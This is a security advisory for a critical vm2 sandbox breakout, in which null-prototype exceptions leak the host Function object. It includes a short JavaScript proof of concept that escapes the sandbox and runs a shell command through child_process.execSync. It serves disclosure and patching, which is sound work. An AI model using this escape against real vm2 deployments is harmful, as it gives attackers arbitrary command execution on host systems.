vm2 has Sandbox Breakout Through Null Proto Exception

### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details In `handleException` due to ``// SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`)`` exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host `Function` object. ### PoC ```js const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run(` const o = {__proto__: null}; try { throw o; } catch (e) { e.f = Buffer.prototype.inspect o.f.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); } `)); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

Source published

8 May 2026 16:20:58 UTC

Source modified

14 May 2026 20:50:10 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Publisher rating · CRITICAL